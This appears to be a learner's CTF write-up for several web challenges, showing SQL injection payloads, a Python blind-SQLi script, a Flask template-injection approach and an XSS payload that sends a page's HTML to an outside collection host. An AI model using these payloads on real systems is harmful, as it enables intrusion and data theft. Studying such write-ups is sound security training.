It's shame that I can't solve all challenge in web section. I must study harder.
โ web/sources
You can check flag in DevTools,
Flag
flag{bd6a9e3f1690f7abb8445c0e}
โ password-1
When you enter into "/api/outout" endpoint, can check the flag
Flag
flag{why_is_hashing_in_browser_so_hard}
โ password-2
payload : 1' or 1=1--
Flag
flag{i_love_in_memory_sqlite}
โ web/notes1
const add = (note) => {
const id = crypto
.createHash('sha256')
.update(state.id.toString())
.digest('hex');
state.id += 1;
notes.set(id, note);
return id;
}
add(process.env.FLAG ?? 'flag missing!');
app.get('/view/:id', (req, res) => {
const id = req.params.id;
res.type('html');
res.end(`
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Note</h1>
${sanitize(notes.get(id) ?? 'Note does not exist!')}
</div>
`);
});
This is the most important part of the code. The "add" function encrypt id by using "sha-256" algorithm. And you can see the content with id which you want to see.
The Point :
1. This service puts flag into note whose id is "1".
2. In "Sha-256" Algorithms, it has always same result if you input same sentence.
So, first, I encrypt "1" by using "Sha-256" algorithms. Second, put the result into "/view/:id" endpoint.
Payload :
/view/6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Flag
flag{technically_a_vulnerability}
โ blog
# __init__.py
from . import auth
from . import blog
from . import db
import os
from flask import Flask, abort
app = Flask(__name__, instance_relative_config=True)
app.config.from_mapping(
SECRET_KEY=open("flaskr/protected/burdellsecrets.txt").read(),
)
# ensure the instance folder exists
try:
os.makedirs(app.instance_path)
except OSError:
pass
db.init_db()
# ์ง์ ์ ๊ทผ์ ๊ถํ ์๋ฌ ๋ธ
@app.route('/flaskr/protected/<path:filename>')
def protected(filename):
# root_path/protected/[filename]
if os.path.exists(os.path.join(app.root_path, 'protected', filename)):
abort(403)
else:
abort(404)
app.register_blueprint(auth.bp)
app.register_blueprint(blog.bp)
app.add_url_rule('/', endpoint='index')
"flaskr/protected/burdellsecrets.txt" is suspected to be flag. Let's check that file.
# blog.py
@bp.route('/postsuccess')
@login_required
def postsuccess():
quicktemplate = """
{% extends 'base.html' %}
{% block header %}
<h1>{% block title %}Success!{% endblock %}</h1>
<a class="action" href="{{ url_for('blog.index') }}">Back</a>
{% endblock %}
{% block content %}
<p>Post \"""" + request.args.get('title') + """\" created successfully. </p>
{% endblock %}
"""
return render_template_string(quicktemplate)
If I successfully upload a post, I can enter into "/postsuccess" endpoint. But there is no protection regard to parameter "title".

I thought I can do something by manipulating "title" parameter.

Got it. It has SSTI vulnerability. Flag is in "SECRET_KEY". So I enter "config.items()"

Flag
flag{I'm_not_real:)}
โ password-3
// index.js
const crypto = require('crypto')
const database = require('better-sqlite3')
const express = require('express')
const app = express()
FLAG = process.env.FLAG ?? 'no flag set!'
const db = new database(':memory:')
const id = () => crypto.randomBytes(16).toString('hex')
app.use(express.static('public'))
app.use(express.json())
app.post('/password', (req, res) => {
const password = (req.body.password ?? '').toString()
const result = db.prepare(
`SELECT password FROM passwords WHERE password='${password}';`
).get()
if (result) res.json({
success: true,
message: (
'Congrats on logging in! However, that\'s not enough... can you ' +
'find the flag in the database this time?'
),
})
else res.json({ success: false })
})
db.exec(`
CREATE TABLE passwords (
password TEXT
);
INSERT INTO passwords (password) VALUES ('${id()}');
INSERT INTO passwords (password) VALUES ('${id()}');
INSERT INTO passwords (password) VALUES ('${id()}');
INSERT INTO passwords (password) VALUES ('${FLAG}');
`)
app.listen(3000)
It seems that I can't get flag directly. I thought SQL Injection is useful in this problem.
I used "union select" to solve this problem. But I saw a better, cleaner code than me. So I post this code.
Exploit Code
import requests
import string
flag = "flag{"
sql = "' or instr(password,'{}') > 0 and not '"
for i in range(30):
for c in string.ascii_lowercase+"_":
payload = sql.format(flag+c)
print(payload)
r = requests.post(
"https://password-3.challs.wreckctf.com/password", json={"password": payload})
content = r.json()
print(content)
if content["success"] == True:
flag = flag + c
print(flag)
break
Flag
flag{whee_binary_search_sqli}
โ web/notes-2

This problem gives 2 services.
It seems no flag in given code. I was confused because of it. I guessed flag is somewhere in admin's bot.
I could guess this is about XSS, because it gives admin bot service.

I put any sentence like this.

I can either reveal note of mine or move to previous note. This service has some javascript. Check it out.
<script>
const button = document.querySelector('button');
const content = document.querySelector('.content');
button.addEventListener('click', () => {
content.textContent = "This_is_test";
button.remove();
});
const previous = localStorage.previous;
const current = window.location.toString();
const a = document.querySelector('a');
if (previous) {
a.href = previous;
} else {
a.remove()
}
localStorage.previous = current;
</script>
User's input gets reflected into property of "content.textContent". I can escape it and redirect to other page.
"; window.location="[user's site]";
This is not enough. Only this payload, I can't trigger by using bot. Because this can't trigger any admin's action.
So I used "onload" eventlistner.
";}); window.addEventListener('onload', () => { document.location="https://zehwfhf.request.dreamhack.games?s=".concat(btoa(unescape(encodeURIComponent(document.body.innerHTML))));//";
After the content was successfully uploaded, I send url which service made to admin bots. Then, I could get string which is base64-encrypted string.
PGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxoMT5Ob3RlPC9oMT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgIE5vdGUgaGlkZGVuIGZvciBzYWZldHkuLi4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgPGJ1dHRvbj5SZXZlYWwhPC9idXR0b24+CiAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL25vdGVzLTIuY2hhbGxzLndyZWNrY3RmLmNvbS92aWV3L2FlMDZmNGYxZjRlOGQ4NzAwOTdiMDA0OTFhNWNjOTg1MmU2YWVhYWFmZWUwMzNhNDE0M2MxNzJmYWU0NTM4M2EiPlByZXZpb3VzIG5vdGUuLi48L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgY29uc3QgYnV0dG9uID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignYnV0dG9uJyk7CiAgICAgICAgICAgICAgICBjb25zdCBjb250ZW50ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLmNvbnRlbnQnKTsKICAgICAgICAgICAgICAgIGJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHsKICAgICAgICAgICAgICAgICAgICBjb250ZW50LnRleHRDb250ZW50ID0gIiI7fSk7ICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcignbG9hZCcsICgpID0
...
======================= base64 decode =============================
<div class="container">
<h1>Note</h1>
<div class="content">
Note hidden for safety...
</div>
<br>
<button>Reveal!</button>
<a href="https://notes-2.challs.wreckctf.com/view/ae06f4f1f4e8d870097b00491a5cc9852e6aeaaafee033a4143c172fae45383a">Previous note...</a>
</div>
<script>
const button = document.querySelector('button');
const content = document.querySelector('.content');
button.addEventListener('click', () => {
content.textContent = "";}); window.addEventListener('load', () =
...
I can get url in a tag. Flag is in there.
Flag
flag{context_dependent_sanitization}